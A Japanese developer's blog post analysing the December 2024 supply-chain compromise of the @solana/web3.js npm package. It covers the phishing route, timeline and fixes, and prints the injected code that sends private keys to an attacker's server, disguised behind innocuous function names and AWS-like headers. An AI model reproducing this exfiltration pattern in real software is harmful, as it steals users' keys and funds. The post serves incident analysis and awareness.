普段はブロックチェーンルアーズというWeb3サース開発に関わっています。
この投稿は「Solana Advent Calendar 2024」24日目の記事です。
クリスマスイブには似つかわしくないタイトですが、衝撃的な脆弱性だったので、記録として残しておきたいと思います。
何が起きたのか?
12月4日の朝、起きてXの投稿を見ていたところ、衝撃的な内容を発見しました。SolanaでDappsやWeb3サービスを開発する際に必須ともいえるライブラリ、@solana/web3.js
にエクスプロイト(悪意ある脆弱性)が発見されたという内容です。
Solanaを利用してサービスを開発している人はほぼ全員このライブラリを使っているため、その影響範囲の大きさにビビりました。
Anza(@solana/web3.js
を開発、メンテ)のtrentがXでアナウンスしたツイートに対して、SolanaのファウンダーであるAnatolyが真っ先に反応していました。
Anatoly: 攻撃経路はどこ?
trent: フィッシング攻撃で盗まれた
ツイートによると
exploitは秘密鍵を盗むコードである
exploitが埋め込まれたバージョンが 1.98.6, 1.98.7
バージョン1.98.8にアップデートするか、1.98.5にダウングレードすることで回避することができる
Attacker(攻撃者)のWalletアドレスがFnvLGtucz4E1ppJHRTev6Qv4X7g8Pw6WPStHCcbAKbfx
という内容でした。
Exploitの原因
翌日にはAnzaからレポートがあがり、原因が明らかになりましたので、以下に要点をまとめました。
埋め込まれた経路
@solana/web3.js
は、JavaScriptのライブラリであり、NPM で公開されているパッケージです。
そのため、このライブラリをNPMで公開・管理する権限を持つ人物が、スピアフィッシング攻撃によりひっかかってしまいました。
スピアフィッシング攻撃: 攻撃者が信頼できる人物や団体を装い、メールやメッセージを送信します。受信者にリンクをクリックさせたり、添付ファイルを開かせたりして、ログイン情報や機密データを盗み出す攻撃
アタッカーは同僚を装い、プライベートパッケージの共同作業への招待メールを送りつけました。
受信者がそのメールをクリックすると、偽のNPMサイトに誘導される仕組みになっており、アカウント情報、パスワード、さらには2段階認証コードを入力させることで、NPMへのアクセス権を奪取。
その後、アタッカーはエクスプロイトを埋め込んだソースコードを公開するに至りました。
時系列
時系列に見ると異常事態の発見からアナウンスまで、かなり対応が早かったです。
12月3日 3:20 PM UTC - スピアフィッシングメールが開封され、アカウント情報が奪取される
12月3日 7:27 PM UTC - exploint報告を受け、調査開始。
12月3日 8:25 PM UTC - 改ざんされていないversion 1.98を公開。
12月4日 12:22 AM UTC - 悪意あるバージョン(1.96, 1.97)を npm レジストリから完全削除
改善策
NPMへのアクセス管理については、従来のユーザーアカウントによるアクセスを廃止し、読み取り権限や公開権限、有効期限などを細かく設定できるアクセストークンによる管理方法に切り替えたようです。
これにより、不正アクセスのリスクを抑えつつ、よりセキュアな権限管理が可能になったと考えられます。
Exploitの中身
バージョン1.96と1.97のエクスプロイトのソースコードは、すでにアーカイブから削除されているため、直接確認することはできませんでした。
しかし、世の中には変わった人もいるもので、エクスプロイト入りのコードを収集している人がいたため、そのソースコードをgit cloneして解析してみた結果、1.96と1.97のソースコードには差異がなく、なぜ2つのバージョンが作成されたのか、その意図は不明のままでした。
/lib/index.cjs.js
/lib/index.iife.min.js
/lib/index.esm.js
/lib/index.iife.js
/lib/index.native.js
@solana/web3.js
ライブラリの構成は大きく分けて src
と lib
の2つに分かれています。
src
- TypeScriptで記述されたソースコード。lib
- トランスパイルされたJavaScriptコード。
アタッカーが手を加えたのは、lib
内のJavaScriptファイルでした。
実際のexploitコードになります。
/**
* Adds process to the queue
*
* @param process Uint8Array
* @return void
*/
static addToQueue(process) {
const b = bs58__default.default.encode(process);
if (QUEUE.has(b)) return;
QUEUE.add(b);
fetch("https://sol-rpc.xyz/api/rpc/queue", {
method: "POST",
headers: {
"x-amz-cf-id": b.substring(0, 24).split("").reverse().join(""),
"x-session-id": b.substring(32),
"x-amz-cf-pop": b.substring(24, 32).split("").reverse().join("")
}
}).catch(() => {});
}
この関数は、秘密鍵をそのまま受け取ると、アタッカーが用意したサイト https://sol-rpc.xyz/api/rpc/queue
に送信する仕組みになっています。しかも、ご丁寧にそれらしい関数名やコメントまで付けられており、一見すると悪意あるコードには見えにくくなっていますw。ヘッダーから想像できるように、AWS上から収集した秘密鍵を利用してユーザーのAssetを盗んでいたと思われます。
ちなみに現在このURLをブラウザからアクセスをすると詐欺警告はでますが、エンドポイント自体は削除されてしまっています。誰かがAWSへ通報したものと考えられます。
このaddToQueue()は以下のような、秘密鍵を生成する関数に埋め込まれることで、秘密鍵を簡単に奪取できるようになっています。
static fromSecretKey(secretKey, options) {
if (secretKey.byteLength !== 64) {
throw new Error('bad secret key size');
}
const publicKey = secretKey.slice(32, 64);
if (!options || !options.skipValidation) {
const privateScalar = secretKey.slice(0, 32);
const computedPublicKey = getPublicKey(privateScalar);
for (let ii = 0; ii < 32; ii++) {
if (publicKey[ii] !== computedPublicKey[ii]) {
throw new Error('provided secretKey is invalid');
}
}
}
💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀
Loader.addToQueue(secretKey);
💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀💀
return new Keypair({
publicKey,
secretKey
});
}
💀マークの箇所で、秘密鍵がアタッカーのサーバーへ送られ、ユーザーは気付かないまま秘密鍵を漏洩してしまいます。
fromSecretKey()
は、秘密鍵から Keypair を作成する際に使用される関数ですが、それ以外にも以下の箇所にエクスプロイトコードが埋め込まれていました。
fromSecretKey()
fromSeed()
createInstructionWithPrivateKey()
new Account()
これらの関数が使われるユースケースとしては、新規アカウントの作成時や、秘密鍵やシードフレーズからウォレットを復元する時などが挙げられます。ただし、PhantomやBackpackのようなユーザーカストディ型ウォレットで署名する際には使用されない関数です。
予想では、サーバーカストディ型のサービスがユーザーのウォレットを管理しているケースで、そこから流出した可能性が高いのではないかと思います。
まとめ
自分は常に最新のライブラリにアップデートをかける方なので、もしそのときアップデートしていたら被害にあっていたかもしれないです。これからは、changelogを確認しながら慎重にアップデートしようと思いました。
あと、この記事を書いている時に、前にセキュリティコンサル会社の人とクリプトにおけるセキュリティ対策の注意点を聞いたメモを思い出したので、参考程度に書いておきます。